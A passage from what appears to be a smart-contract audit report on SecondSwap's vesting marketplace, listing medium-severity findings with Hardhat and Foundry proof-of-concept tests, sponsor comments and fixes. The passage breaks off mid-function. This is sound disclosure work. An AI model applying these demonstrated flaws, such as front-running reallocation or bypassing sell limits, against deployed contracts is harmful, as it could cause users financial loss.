_listingType != ListingType.SINGLE || (_minPurchaseAmt > 0 && _minPurchaseAmt <= _amount),
"SS_Marketplace: Minimum Purchase Amount cannot be more than listing amount"
); https://github.com/code-423n4/2024-12-secondswap/blob/main/contracts/SecondSwap_Marketplace.sol#L253
This implementation mistakenly enforces that for Single listings, _minPurchaseAmt must fall within 0 and _amount. Instead, it should validate _minPurchaseAmt for Partial listings. The corrected implementation is as follows:
require(
_listingType == ListingType.SINGLE || (_minPurchaseAmt > 0 && _minPurchaseAmt <= _amount),
"SS_Marketplace: Minimum Purchase Amount cannot be more than listing amount"
); With this change, the check ensures that _minPurchaseAmt falls within 0 and _amount for Partial listings, as intended.
Recommended mitigation steps
The validation logic should be updated as follows:
require(
- _listingType != ListingType.SINGLE || (_minPurchaseAmt > 0 && _minPurchaseAmt <= _amount),
+ _listingType == ListingType.SINGLE || (_minPurchaseAmt > 0 && _minPurchaseAmt <= _amount),
"SS_Marketplace: Minimum Purchase Amount cannot be more than listing amount"
); https://github.com/code-423n4/2024-12-secondswap/blob/main/contracts/SecondSwap_Marketplace.sol#L253
calvinx (SecondSwap) commented:
This looks like a valid issue. Please put as a Medium issue.
[M-02] Listing potential can not be purchased with discounted price
Submitted by 0xc0ffEE, also found by 0xastronatey, 0xIconart, 0xNirix, 0XRolko, agadzhalov, AshishLach, BenRai, c0pp3rscr3w3r, ChainProof, ChainSentry, CrazyMoose, farismaulana, itsabinashb, IvanAlexandur, montecristo, mrMorningstar, Olami978355, queen, Sabit, safie, Shinobi, the_code_doctor, TheFabled, trailongoswami, X0sauce, zanderbyte, and zzebra83
In the function SecondSwap_Marketplace::spotPurchase(), depending on the listing’s discount type, the price is computed accordingly:
function _getDiscountedPrice(Listing storage listing, uint256 _amount) private view returns (uint256) {
uint256 discountedPrice = listing.pricePerUnit;
if (listing.discountType == DiscountType.LINEAR) {
discountedPrice = (discountedPrice * (BASE - ((_amount * listing.discountPct) / listing.total))) / BASE;
} else if (listing.discountType == DiscountType.FIX) {
discountedPrice = (discountedPrice * (BASE - listing.discountPct)) / BASE;
}
return discountedPrice;
}And then the baseAmount that the buyer needs to pay is calculated from the discounted price. Although there is a check to enforce listing value is not too small with the original price, but it still can be too small with the discounted price because indeed the discounted price is lower than the original price. So in that case, the buyer won’t be able to purchase listed sale.
function _handleTransfers(
Listing storage listing,
uint256 _amount,
uint256 discountedPrice,
uint256 bfee,
uint256 sfee,
address _referral
) private returns (uint256 buyerFeeTotal, uint256 sellerFeeTotal, uint256 referralFeeCost) {
@> uint256 baseAmount = (_amount * discountedPrice) /
uint256(
10 **
(
IERC20Extended(
address(
IVestingManager(IMarketplaceSetting(marketplaceSetting).vestingManager())
.getVestingTokenAddress(listing.vestingPlan)
)
).decimals()
)
); // 3.1. Rounding issue leads to total drain of vesting entries
@> require(baseAmount > 0, "SS_Marketplace: Amount too little"); // 3.1. Rounding issue leads to total drain of vesting entries
...Example with a simple vulnerable path:
- Alice lists vesting with
amount = 1e15(assume the token has18decimals), currency isUSDT,price = 1200($0.0012), with fixed discount = 20% and the listing type is Single. - Bob tries to purchase Alice’s sale, but the transaction fails because
baseAmountis 0 in this case:baseAmount = 1e15 * 1200 * 80% / 1e18 = 0.
Impacts:
- Users are potentially unable to purchase discounted vestings
Proof of Concept
Add this test under the describe("Purchase Lot")
it.only("can not buy with discounted price", async function () {
const {
vesting,
token,
marketplace,
marketplaceSetting,
user1,
manager
} = await loadFixture(deployProxyFixture);
const [user2, user3] = await hre.viem.getWalletClients();
// Test parameters
const amount = parseEther("1") / 1000n;
const cost = 1200n; // 0,0012 $
const discountPct = BigInt(4000); // 20% discount
const listingType = 1; // Single fill
const discountType = 2; // Fixed discount
const maxWhitelist = BigInt(0);
const privateListing = false;
const minPurchaseAmt = parseEther("1") / 1000n;
const updatedSettings = await manager.read.vestingSettings([vesting.address]);
expect(updatedSettings[0]).to.be.true; // Check if sellable is true
// List vesting
await marketplace.write.listVesting([
vesting.address,
amount,
cost,
discountPct,
listingType,
discountType,
maxWhitelist,
token.address,
minPurchaseAmt,
privateListing
], { account: user1.account });
// // Make purchase => revert
await expect(marketplace.write.spotPurchase([
vesting.address,
BigInt(0),
amount,
"0x0000000000000000000000000000000000000000"
], {account: user3.account}))
.to.reverted;
});Run the test and it succeeded.
It means that the spotPurchase() transaction failed.
Recommended mitigation steps
Consider updating the check for baseAmount in function listVesting() to take discount into account.
TechticalRAM (SecondSwap) confirmed
[M-03] Missing option to remove tokens from the isTokenSupport mapping can result in huge financial loss for users and the protocol
Submitted by BenRai, also found by 0xAkira, 0xrex, 0xStalin, BajagaSec, Bryan_Conquer, Taiger, and zanderbyte
Because there is no option for the admin to remove a token from the isTokenSupport mapping, a depeg of a whitelisted token can lead to significant financial loss for users and the protocol.
Proof of Concept
When selling a vesting on the marketplace, users need to specify the currency the buyer should pay for the sold tokens. To ensure the safety of the users and the safety of the protocol’s revenue, only currencies whitelisted in the isTokenSupport mapping can be used and according to the protocol only stable coins will be whitelisted. For a token to be whitelisted the function addCoin needs to be called by the admin.
The issue arises from the fact that there is no way to remove a coin from the whitelist once it is on it. This poses a significant risk for the users and the revenue of the protocol in case a whitelisted stable coin loses his peg and becomes worthless. Even though the coin becomes worthless:
- unsuspecting users can still list their vestings using the worthless currency, practically giving away their tokens for free
- all listings using this currency can still be bought, resulting in significant loss for the seller
- the fees for the protocol collected for listings using the depegged currency will also be worthless
This results in significant financial loss for users as well as the protocol.
Recommended Mitigation Steps
Add an option for the admin to remove currencies from the whitelist. This way, no new listings can be created with a depegged currency. To protect the vestings already listed with the bad currency, make sure to check if the currency used for a listing is still on the whitelist before executing a sale. This way, sellers of the impacted listings are protected from selling their vestings for worthless currency and can delist their listings once they become aware of the depeg.
Validator’s comment:
The supported tokens are under protocol team’s review, we can expect that most widely used token such as ETH/USDC/USDC to be included as currency token. Though it’s a good idea to have a quit design, QA is proper to this issue.
My view after further evaluation: Since all ERC20 tokens are supported, depegged currency risk is still there, even for USDC which actually dropped under 1$ about a year ago. Therefore, at this point, I believe this can be Medium.
calvinx (SecondSwap) commented:
In our initial design, we will only use liquid stables, i.e. USDT and USDC. In a depeg scenario, we can freeze listing and recommend sellers to remove their listings. We will include a fix.
[M-04] Creator of one vesting plan can affect vesting plans created by other users.
Submitted by sl1, also found by 0xDemon, 0xGondar, 0xKann, ABAIKUNANBAEV, Abhan, boredpukar, ctmotox2, ctmotox2, curly, dhank, EPSec, fyamf, fyamf, m4k2, peanuts, pulse, rspadi, Shinobi, spuriousdragon, yuza101, and zanderbyte
Vesting plans are created by token issuers in the VestingDeployer contract. When a vesting plan is created, a new StepVesting contract is deployed.
SecondSwap_VestingDeployer.sol#L119-L129
address newVesting = address(
new SecondSwap_StepVesting(
msg.sender,
manager,
IERC20(tokenAddress),
startTime,
endTime,
steps,
address(this)
)
);This contract address will be used by token issuers to manage their vesting plans. However, currently it’s possible that a creator of one vesting plan can affect vesting plans created by other users.
Token issuers are set by the admin in the setTokenOwner() function.
SecondSwap_VestingDeployer.sol#L141-L144
function setTokenOwner(address token, address _owner) external onlyAdmin {
require(
_tokenOwner[_owner] == address(0),
"SS_VestingDeployer: Existing token have owner"
);
_tokenOwner[_owner] = token;
}As can be seen, it’s possible for a token to have multiple owners, as the mapping used is owner => token instead of token => owner. Now if one token has multiple owners and there are 2 vesting plans, creator of vesting plan A can influence vesting plan B and vice versa.
createVesting() and createVestings() functions check that token that is linked to the msg.sender is the same as the token of the vesting plan, which in this case will be true regardless of the fact that msg.sender is not the creator of said vesting plan.
SecondSwap_VestingDeployer.sol#L176-L183
require(
_tokenOwner[msg.sender] ==
address(SecondSwap_StepVesting(_stepVesting).token()),
"SS_VestingDeployer: caller is not the token owner"
);But when _createVesting() function of the StepVesting contract will be invoked, it will transfer funds not from the msg.sender but from the actual creator of the vesting plan.
SecondSwap_StepVesting.sol#L306-L308
if (!_isInternal) {
token.safeTransferFrom(tokenIssuer, address(this), _totalAmount);
}transferVesting() function is also vulnerable to that issue because it uses the same check as createVesting().
SecondSwap_VestingDeployer.sol#L218-L228
function transferVesting(
address _grantor,
address _beneficiary,
uint256 _amount,
address _stepVesting,
string memory _transactionId
) external {
require(
_tokenOwner[msg.sender] ==
address(SecondSwap_StepVesting(_stepVesting).token()),
"SS_VestingDeployer: caller is not the token owner"
);Impact
Creator of one vesting plan can influence vesting plans created by other users.
Recommended Mitigation
Store the address of the vesting plan’s creator in a mapping(address vestingPlan => address creator) and check if the msg.sender is the actual creator of the vesting plan.
But when
_createVesting()function of the StepVesting contract will be invoked, it will transfer funds not from the msg.sender but from the actual creator of the vesting plan.I believe this can be Medium since the impact is high as functionality is broken (not working as intended), and a possible loss of funds + a low likelihood.
[M-05] Price Granularity Limited by Payment Token Decimals: Cannot List Tokens Cheaper than 0.000001 USDT
Submitted by 0xNirix, also found by KupiaSec
The SecondSwap marketplace enforces a minimum price floor based on the payment token’s smallest unit which will commonly be USDT. This creates a limitation where tokens cannot be listed for less than 0.000001 USDT (or equivalent smallest unit of other 6 decimal payment tokens).
Root Cause:
pricePerUnitmust be greater than 0pricePerUnitrepresents price in payment token’s smallest units for 1 vesting token.- For USDT (6 decimals), minimum
pricePerUnitis 1 (0.000001 USDT) - Prices lower than this cannot be represented
Impact:
- Cannot list very low-value tokens at their true market price
- Could prevent legitimate trading of extremely low-value tokens
This limitation will be particularly impactful as memecoins with such low values are fairly common.
bobwong (SecondSwap) acknowledged
[M-06] Underflow in claimable DOSing claim Function
Submitted by BugPull, also found by 0xrex, 0XRolko, BugPull, Drynooo, KupiaSec, montecristo, Ryonen, SmartAuditPro, and TheFabled
A user who buys vesting tokens after fully claiming their allocation at the end of the vesting period will be unable to claim the newly acquired tokens.
in some cases due to rounding issues the
- stepsClaimed > numOfSteps
In claimable function claimableSteps is calculated as follow:
174:@> uint256 claimableSteps = currentStep - vesting.stepsClaimed;For that the user cannot claim newly purchased amounts.
Impact
- The
claimfunction becomes unavailable. - The funds are stuck.
- Users who purchase additional amounts are unable to claim their tokens.
Proof of Concept
Scenario
- Bob identifies a desirable vesting token and buys 10,000 tokens.
- The vesting period ends (
currentTime > endTime), and Bob has claimed all funds. - Due to rounding issues during creation,
stepsClaimed > numOfSteps. - Bob purchases additional tokens.
- Bob is unable to claim the newly purchased tokens due to an incorrect check in
claimable.
Numerical Example
Assumptions:
_endTime - _startTime = 1000numOfSteps = 110stepDuration = (_endTime - _startTime) / numOfSteps = 9
Calculation:
- The vesting period ends, and Bob claims all funds using the
claimfunction, which callsclaimable:
File: SecondSwap_StepVesting.sol
172: uint256 elapsedTime = currentTime - startTime;
173: uint256 currentStep = elapsedTime / stepDuration;
174:@> uint256 claimableSteps = currentStep - vesting.stepsClaimed;
175:
176: uint256 claimableAmount;
177:
178:@> if (vesting.stepsClaimed + claimableSteps >= numOfSteps) {
179: //[BUG FIX] user can buy more than they are allocated
180: claimableAmount = vesting.totalAmount - vesting.amountClaimed;
181:@> return (claimableAmount, claimableSteps);
182: }-
Using the numbers:
currentStep = 1000 / 9 = 111claimableSteps = 111 - 100 = 11
- In
claim, the value ofclaimableStepsis added tostepsClaimed:
File: SecondSwap_StepVesting.sol
193: function claim() external {
// CODE
198:@> vesting.stepsClaimed += claimableSteps;
199: vesting.amountClaimed += claimableAmount;This results in:
vesting.stepsClaimed = 111numOfSteps = 110
After Purchasing More Tokens:
Assuming the issue in the create function is mitigated as stated in another report:
-- if (numOfSteps - _vestings[_beneficiary].stepsClaimed != 0)
++ if (numOfSteps > _vestings[_beneficiary].stepsClaimed){Bob successfully buys additional tokens. However, when he tries to claim them:
File: SecondSwap_StepVesting.sol
161: function claimable(address _beneficiary) public view returns (uint256, uint256) {
// CODE
172: uint256 elapsedTime = currentTime - startTime;
173: uint256 currentStep = elapsedTime / stepDuration;
174:@> uint256 claimableSteps = currentStep - vesting.stepsClaimed;The function always reverts due to the incorrect check.
Recommended Mitigation Steps
Apply the following correction to the claimable function:
-- uint256 claimableSteps = currentStep - vesting.stepsClaimed;
++ uint256 claimableSteps = currentStep > vesting.stepsClaimed ? 0 : currentStep - vesting.stepsClaimed;As per the sponsor, it is a very rare case. Based on this and the input provided, this is a Medium severity. Setting this as the main submission.
[M-07] buyFee And sellFee Should Be Known Before Purchase
Submitted by EPSec, also found by 0xhuh2005, BenRai, KupiaSec, rouhsamad, sl1, and typicalHuman
The platform allows the buyFee and sellFee parameters for a vesting plan to be modified after a listing is created. This creates a significant issue in terms of transparency and predictability for users engaging in transactions.
Impact on Users
-
Uncertainty for Buyers and Sellers:
Both buyers and sellers cannot reliably determine the exact fees associated with a transaction until the
spotPurchasefunction is executed. This lack of transparency diminishes user confidence in the platform. -
Financial Discrepancies for Sellers:
Sellers may receive less revenue than anticipated if the seller fee (
sellFee) is increased after the listing is created. This directly impacts their earnings and could lead to dissatisfaction or distrust in the platform’s fee structure.
Proof of Concept
Let’s have the following scenario:
- User A creates listing, currently the fees for this vesting plan are 1000 and 1000.
- After some period these fees are changed to 5000 for the seller fee and 1000 for buyer fee.
- User A will receive less money, because the fee is bigger.
Recommended mitigation steps
Consider two additional parameters to be added for the listing:
(uint256 bfee, uint256 sfee) = _getFees(_vestingPlan);
listings[_vestingPlan][listingId] = Listing({
seller: msg.sender,
total: _amount,
balance: _amount,
pricePerUnit: _price,
listingType: _listingType,
discountType: _discountType,
discountPct: _discountPct,
listTime: block.timestamp,
whitelist: whitelistAddress,
currency: _currency,
minPurchaseAmt: _minPurchaseAmt,
status: Status.LIST,
vestingPlan: _vestingPlan,
+ buyerFee: bfee,
+ sellerFee: sfee
});
emit Listed(_vestingPlan, listingId);
}Also make the changes to the Listing struct and spotPurchase to use the correct fees.
TechticalRAM (SecondSwap) acknowledged
calvinx (SecondSwap) commented:
We will show this in UI as fees can be negotiated and set later
I think the issue here is, no protection for the user in case fee changed.
[M-08] Outdated penalty fee gets charged if the penalty fee has changed since listing
Submitted by 0xrex, also found by 0xAkira and aua_oo7
https://github.com/code-423n4/2024-12-secondswap/blob/main/contracts/SecondSwap_Marketplace.sol#L360
Minimum listing duration is currently set at 2 mins, at which point a listing cancellation will no longer incur the fee when unlisted less than 2 minutes since it got listed. However, users can be charged an outdated fee which is more or less the initial fee they expected to pay.
Proof of Concept
function unlistVesting(address _vestingPlan, uint256 _listingId) external isFreeze {
Listing storage listing = listings[_vestingPlan][_listingId];
require(listing.status == Status.LIST, "SS_Marketplace: Listing not active");
require(
listing.seller == msg.sender || msg.sender == IMarketplaceSetting(marketplaceSetting).s2Admin(),
"SS_Marketplace: Not the seller"
);
uint256 _penaltyFee = 0;
if (msg.sender != IMarketplaceSetting(marketplaceSetting).s2Admin()) {
// 3.4. The s2Admin is unable to unlist vesting
if ((listing.listTime + IMarketplaceSetting(marketplaceSetting).minListingDuration()) > block.timestamp) {
require(
(IMarketplaceSetting(marketplaceSetting).usdt()).balanceOf(msg.sender) >=
IMarketplaceSetting(marketplaceSetting).penaltyFee(),
"SS_Marketplace: Penalty fee required for early unlisting"
); // 3.7. Value difference caused by the same penalty fee
(IMarketplaceSetting(marketplaceSetting).usdt()).safeTransferFrom(
msg.sender,
IMarketplaceSetting(marketplaceSetting).feeCollector(), // 3.7. Value difference caused by the same penalty fee
IMarketplaceSetting(marketplaceSetting).penaltyFee()
); // 3.6. DOS caused by the use of transfer and transferFrom functions
@> _penaltyFee = IMarketplaceSetting(marketplaceSetting).penaltyFee();
}
}
IVestingManager(IMarketplaceSetting(marketplaceSetting).vestingManager()).unlistVesting(
listing.seller,
_vestingPlan,
listing.balance
); // 3.4. The s2Admin is unable to unlist vesting
listing.status = Status.DELIST; // 3.3. Buyer can choose listing price
listing.balance = 0; // 3.3. Buyer can choose listing price
emit Delisted(_vestingPlan, _listingId, _penaltyFee, msg.sender);
}Suppose the user were to pay 2 USDC for unlisting, then the fee changes to 5, they would end up paying twice the initial amount.
Recommended mitigation steps
Having a cache of the fee stored in the listing struct of the listing ID would be sufficient to figure out which fee to charge them.
This should be Medium since the user should be protected from such cases. The user should be able to make an informed decision with a protection mechanism in place. Other than that, the responsibility is on the user.
[M-09] Users can prevent being reallocated by listing to marketplace
Submitted by 0xc0ffEE, also found by attentioniayn, ChainProof, falconhoof, rouhsamad, sl1, and TheKhans
The token issuer has the ability to change vesting allocation. However, a user can prevent his vesting from being allocated by listing his vesting to the marketplace.
The function SecondSwap_StepVesting::transferVesting() can be used by token issuer to transfer vesting, effectively reallocating vestings. By listing the vesting to marketplace, seller’s allocated amount is sent to VestingManager contract, which can make the token issuer unable to reallocate his vesting directly (due to available amount check). Indeed, if the token issuer decides to reallocate that wanted amount from VestingManager, then this can cause the marketplace to be insolvent.
function transferVesting(address _grantor, address _beneficiary, uint256 _amount) external {
require(
msg.sender == tokenIssuer || msg.sender == manager || msg.sender == vestingDeployer,
"SS_StepVesting: unauthorized"
);
require(_beneficiary != address(0), "SS_StepVesting: beneficiary is zero");
require(_amount > 0, "SS_StepVesting: amount is zero");
Vesting storage grantorVesting = _vestings[_grantor];
@> require(
grantorVesting.totalAmount - grantorVesting.amountClaimed >= _amount,
"SS_StepVesting: insufficient balance"
); // 3.8. Claimed amount not checked in transferVesting function
@> grantorVesting.totalAmount -= _amount;
grantorVesting.releaseRate = grantorVesting.totalAmount / numOfSteps;
_createVesting(_beneficiary, _amount, grantorVesting.stepsClaimed, true);
emit VestingTransferred(_grantor, _beneficiary, _amount);
} function listVesting(address seller, address plan, uint256 amount) external onlyMarketplace {
require(vestingSettings[plan].sellable, "vesting not sellable");
require(SecondSwap_Vesting(plan).available(seller) >= amount, "SS_VestingManager: insufficient availablility");
Allocation storage userAllocation = allocations[seller][plan];
uint256 sellLimit = userAllocation.bought;
uint256 currentAlloc = SecondSwap_Vesting(plan).total(seller);
if (currentAlloc + userAllocation.sold > userAllocation.bought) {
sellLimit +=
((currentAlloc + userAllocation.sold - userAllocation.bought) * vestingSettings[plan].maxSellPercent) /
BASE;
}
userAllocation.sold += amount;
require(userAllocation.sold <= sellLimit, "SS_VestingManager: cannot list more than max sell percent");
@> SecondSwap_Vesting(plan).transferVesting(seller, address(this), amount);
}Note that: This attack vector can be done by front-running, since the codebase is deployed to Ethereum.
Impacts:
- Token issuer can not reallocate as expected. At least, the total allocated amount can not be reallocated, depending on the max sell percent.
Proof of Concept
Add this test below to the file test/VestingManager.test.ts, under describe("List, Purchase and Transfer".
describe("List, Purchase and Transfer", async function () {
...
it.only("prevent allocation", async function () {
// initial, alice has 1000
const {vesting, alice, bob, manager, tokenOwner,owner, token, marketPlaceholder} = await loadFixture(deployStepVestingFixture);
// token issuer wants to reallocate 1000 from alice
// but alice front-runs to list to marketplace
await manager.write.listVesting([alice.account.address, vesting.address, parseEther("200")], { account: marketPlaceholder.account });
// can not reallocate 1000
await expect(vesting.write.transferVesting([alice.account.address, bob.account.address, parseEther("1000")], { account: owner.account }))
.to.rejectedWith("SS_StepVesting: insufficient balance");
})Run the test and it succeeds.
Recommended mitigation steps
Consider adding trusted role to unlist from marketplace, so that the reallocation can be handled completely.
bobwong (SecondSwap) acknowledged
[M-10] Tokens that have already been vested can be transferred from a user.
Submitted by sl1
As stated by the contest page, token issuer must be able to reallocate vesting allocations from one user to another. It can be done via transferVesting() function of the StepVesting contract.
SecondSwap_StepVesting.sol#L224-L232
require(
grantorVesting.totalAmount - grantorVesting.amountClaimed >=
_amount,
"SS_StepVesting: insufficient balance"
);
grantorVesting.totalAmount -= _amount;
grantorVesting.releaseRate = grantorVesting.totalAmount / numOfSteps;
_createVesting(
_beneficiary,
_amount,
grantorVesting.stepsClaimed,
true
);As can be seen, the function ensures that amount transferred is not greater than amount of tokens to vest left after some of them have been claimed.
However, it does not account for tokens that have already been vested, but remain unclaimed by a user. The moment tokens are vested, they cease to be part of the vesting process because the conditions for their release have already been met. Vested but unclaimed tokens are effectively owned by the beneficiary, but remain unclaimed. This essentially allows token issuer to transfer tokens owned by the user instead of reallocation a part of the vesting schedule.
Impact
Token issuer has an ability to transfer out tokens owner by users instead of reallocation vesting schedule.
Proof of Concept
To set up the following PoC in Foundry please follow the steps.
Inside the hardhat project directory:
npm install --save-dev @nomicfoundation/hardhat-foundry- Add
import "@nomicfoundation/hardhat-foundry";to the top of your hardhat.config.js file. - Run
npx hardhat init-foundryin your terminal. This will generate a foundry.toml file based on your Hardhat project’s existing configuration, and will install the forge-std library.
Run it with forge test --match-test 'test_sl1TokenIssuerCanTransferAlreadyVestedTokens' -vv.
import "lib/forge-std/src/Test.sol";
import "lib/forge-std/src/console2.sol";
import {SecondSwap_Marketplace} from "../contracts/SecondSwap_Marketplace.sol";
import {SecondSwap_MarketplaceSetting} from "../contracts/SecondSwap_MarketplaceSetting.sol";
import {SecondSwap_StepVesting} from "../contracts/SecondSwap_StepVesting.sol";
import {SecondSwap_VestingDeployer} from "../contracts/SecondSwap_VestingDeployer.sol";
import {SecondSwap_VestingManager} from "../contracts/SecondSwap_VestingManager.sol";
import {TestToken1} from "../contracts/USDT.sol";
contract sl1Test is Test {
SecondSwap_Marketplace public marketplace;
SecondSwap_MarketplaceSetting public marketplaceSettings;
SecondSwap_VestingDeployer public vestingDeployer;
SecondSwap_VestingManager public vestingManager;
TestToken1 public USDT;
address admin = makeAddr("admin");
address whitelist;
function setUp() public {
vm.startPrank(admin);
USDT = new TestToken1();
vestingManager = new SecondSwap_VestingManager();
vestingManager.initialize(admin);
marketplaceSettings = new SecondSwap_MarketplaceSetting(
admin,
admin,
whitelist,
address(vestingManager),
address(USDT)
);
marketplace = new SecondSwap_Marketplace();
marketplace.initialize(address(USDT), address(marketplaceSettings));
vestingDeployer = new SecondSwap_VestingDeployer();
vestingDeployer.initialize(admin, address(vestingManager));
vestingManager.setVestingDeployer(address(vestingDeployer));
vestingManager.setMarketplace(address(marketplace));
vm.stopPrank();
}
function test_sl1TokenIssuerCanTransferAlreadyVestedTokens() public {
address alice = makeAddr("alice");
address bob = makeAddr("bob");
vm.startPrank(admin);
vestingDeployer.setTokenOwner(address(USDT), admin);
vestingDeployer.deployVesting(
address(USDT),
block.timestamp,
block.timestamp + 10000,
10000,
"1"
);
// Got the address by console logging it in deployVesting func
address stepVesting = 0xD478411c1478E645A6bb53209E689080aE5101A1;
USDT.approve(stepVesting, 10000e18);
vestingDeployer.createVesting(alice, 10000e18, stepVesting);
vm.stopPrank();
// half of the vesting schedule has passed
vm.warp(block.timestamp + 5000);
uint256 snapshot = vm.snapshot();
assertEq(USDT.balanceOf(alice), 0);
vm.prank(alice);
SecondSwap_StepVesting(stepVesting).claim();
// alice is able to claim 5000 tokens
assertEq(USDT.balanceOf(alice), 5000e18);
vm.revertTo(snapshot);
vm.prank(admin);
// Before alice was able to claim her 5000 vested tokens, 5000 tokens are transferred from her
vestingDeployer.transferVesting(alice, bob, 5000e18, stepVesting, "1");
vm.prank(alice);
SecondSwap_StepVesting(stepVesting).claim();
// Even though alice has already vested 5000 tokens, now she is only able to claim 2500
assertEq(USDT.balanceOf(alice), 2500e18);
}Recommended Mitigation
transferVesting() should account for tokens that have already been vested but remain unclaimed.
TechticalRAM (SecondSwap) acknowledged
[M-11] maxSellPercent can be buypassed by selling previously bought vestings at a later time
Submitted by BenRai, also found by ABAIKUNANBAEV, Agontuk, AshishLach, attentioniayn, chupinexx, EaglesSecurity, escrow, franfran20, gesha17, itsabinashb, jsonDoge, NexusAudits, nikhil840096, nitinaimshigh, parishill24, Rhaydden, Samueltroydomi, Saurabh_Singh, typicalHuman, typicalHuman, wickie0x, and zzebra83
Because the maxSellPercent can be bypassed by selling previously bought vestings at a later time, the core functionality to limit the amount of unvested tokens which can be sold is broken.
Proof of Concept
The SecondSwap_VestingManager contract manages the vesting and selling of tokens through the listVesting() function. This function checks if the vesting plan is sellable and verifies the user’s available tokens before allowing a sale.
However, the logic for calculating the sellLimit is flawed.
The relevant code snippet is as follows:
uint256 sellLimit = userAllocation.bought;
uint256 currentAlloc = SecondSwap_Vesting(plan).total(seller);
if (currentAlloc + userAllocation.sold > userAllocation.bought) {
sellLimit +=
((currentAlloc + userAllocation.sold - userAllocation.bought) vestingSettings[plan].maxSellPercent) /
BASE;
}The sellLimit is calculated for the case a ´maxSellPercent´ is set for the vesting. The ´maxSellPercent´ should limit the amount of unvested tokens that can be sold. E.g. if ´maxSellPercent´ is set to 20%, only 20% of the unvested tokens should be sellable. So if we have vesting with a total of 1000 tokens and 10 steps and the maxSellPercent is set to 20%, in the beginning of the vesting when all tokens are still locked only 20% of the max tokens (200 tokens) should be sellable. When 5 steps are unlocked, only 20% of the remaining locked tokens (500 tokens * 20% = 100 tokens) should be sellable.
The issue arises from the fact that all previously bought tokens can be sold at a later point in time:
uint256 sellLimit = userAllocation.bought;
This can result in more tokens than intended to be sellable.
Scenario Illustration
Vesting has 1000 tokens and 10 steps, maxSellPercent is set to 20%:
- Alice has an allocation of 100 tokens and she buys all listed (1000 – 100) * 20% = 1900 * 20% = 180 listed tokens before the first step/unlock => her
boughtvalue is now 180, her total allocation is 280 tokens and her release rate is 28 tokens per step. - Time passes and the first 4 steps are unlocked allowing Alice to claim 4*28 = 112 tokens leaving her with a remaining allocation of 280 – 112 = 168.
- After 4 unlocked steps the max amount of tokens sellable should be (1000 - 400) * 20% = 600 * 20% = 120 tokens. But since Alice has a
boughtvalue of 180 tokens she can sell all her remaining 168 unlocked tokens breaking the 20% ´maxSellPercent´ limit.
Recommended Mitigation Steps
To prevent more locked tokens to be sellable than specified in ´maxSellPercent´ consider adding a stepsBought to the Allocation struct to be able to adjust the bought value according to the steps already claimed by the user:
struct Allocation {
uint256 bought;
+ uint256 stepsBought;
uint256 sold;
}The stepsBought value would be adjusted each time a user buys or sells a vesting and would be set to the current stepsClaimed value of the buyer. In addition, for sells, the bought amount would also need to be reduced by the already claimed amount.
Buy a vesting:
- Buyer buys 100 tokens and the
stepsBoughtvalue is set to his currentstepsClaimedvalue. This way we know for which steps the bought value will be claimable. e.gstepsBoughtis 5 => bought value was allocated to step 6 to 10
Sell a vesting:
- Buyer claims 2 more periods and wants to sell tokens
- The
boughtpart of thesellLimitis determined by calculating theboughtamount for each step and reducing the originalboughtamount by the steps already claimed:
uint256 boughtAmountPerStep = userAllocation.bought / (stepsBought - SecondSwap_Vesting(plan).numOfSteps());`
uint256 claimedStepsSinceBuy = SecondSwap_Vesting(plan)._vestings(seller).stepsClaimed – stepsBought;
uint256 sellLimit = userAllocation.bought – (boughtAmountPerStep * claimedStepsSinceBuy)For this to work:
- The
boughtamount must be reduced to the calculated sellLimit - We need to sell
boughtallocations first before selling own allocations. Therefore theboughtamount must be reduced by the amount which should be sold. Only when theboughtamount reaches 0, thesoldamount should be increased.
The result would be that the sold amount represents only the amount a user sold of his initial allocation.
In addition the Allocation struct also needs a stepsSold variable which can be used to adjust/reduce the sold amount according to the claimed steps of the seller/buyer.
TechticalRAM (SecondSwap) confirmed
[M-12] Unauthorized increase of maxSellPercent
Submitted by BenRai, also found by NexusAudits and seerether
This issue allows the maxSellPercent to be increased to 20% against the will of the token issuer. This will result in users being able to sell tokens even when the issuer intended to prevent selling.
Proof of Concept
The SecondSwap_VestingManager contract manages vesting settings and allocations for tokens. A critical function in this context is setMaxSellPercent, which allows the tokenIssuer to set the maximum percentage of vesting tokens that can be sold by users.
The issue arises from the interaction between the setSellable and setMaxSellPercent functions. When the tokenIssuer sets maxSellPercent to 0 to prevent selling, the following sequence of events can occur:
- The token issuer calls
setMaxSellPercent(vesting, 0)to prevent any selling of their tokens. - Because an issue with the vesting has occurred, the admin calls
setSellable(vesting, true)to unlist the vesting - The issue gets fixed and the admin subsequently calls
setSellable(vesting, true)again to list the vesting again. This inadvertently setsmaxSellPercentto 20% because the current value is 0, which is interpreted as a lack of initialization. - As a result, users can now sell their tokens, despite the issuer’s intention to prevent it.
This flaw allows the admin to accidentally override the issuer’s settings, leading to unauthorized selling of tokens.
It also sets the sellFee and buyFee back to default which might not be intended if the admit has changed them before.
Recommended Mitigation Steps
To mitigate this issue, a new variable initiated should be added to the vesting settings. This variable will track whether the vesting has been initialized. The setSellable function should only update the maxSellPercent if initiated is false which should only be when the vesting is initial created.
bobwong (SecondSwap) confirmed
[M-13] MarketPlace Change In Vesting Manager, Leads To Loss Of Previous MarketPlace Listing
Submitted by franfran20, also found by 0xLasadie, BenRai, BenRai, EPSec, and franfran20
When interacting with the MarketPlace contract and vesting listings, the MarketPlace contract calls the VestingManager contract (using the address gotten from the MarketplaceSetting contract) which calls the StepVesting contract itself to transfer vestings from one address to another.
The VestingManager contract contains the setMarketplace function which is in place in case the MarketPlace contract needs to be changed and redeployed instead of an upgrade (upgrades to the MarketPlace contract occur through the proxy admin, so this function is to change the proxy entirely). When a new MarketPlace contract is set, all previous listings in the marketplace remain stuck, unlistable or inaccessible by the user who listed them, leading to loss of vested assets, simply because the VestingManager is no longer connected to that instance of the marketplace.
Proof of Concept
Let’s take a user who has a total amount of 1000 Token F vested. The user decides to list 200 of these tokens on the marketplace. After this period that the listing is active, the VestingManager contract updates the MarketPlace contract(not an upgrade, a complete change of the proxy).
The function that changes the marketplace address in the VestingManager
function setMarketplace(address _marketplace) external onlyAdmin {
marketplace = _marketplace;
}The issue lies in the fact that the VestingManager no longer points to the previous marketplace were the listing was made. So those listings that existed in the former marketplace can no longer be unlisted or purchased by another user. Simply because the functions listVesting and unlistVesting in the MarketPlace contract rely on calling the VestingManager contract, which no longer recognizes the old marketplace, only the new one.
There is a freeze function that should supposedly stop all actions on the marketplace to give enough time for users to unlist their listed vestings but when the marketplace is frozen, unlisting and purchasing listings are also frozen. See below:
function unlistVesting(address _vestingPlan, uint256 _listingId) external isFreeze { // <== contains the isFreeze modfiier
// .... some code here .....
}
function spotPurchase(
address _vestingPlan,
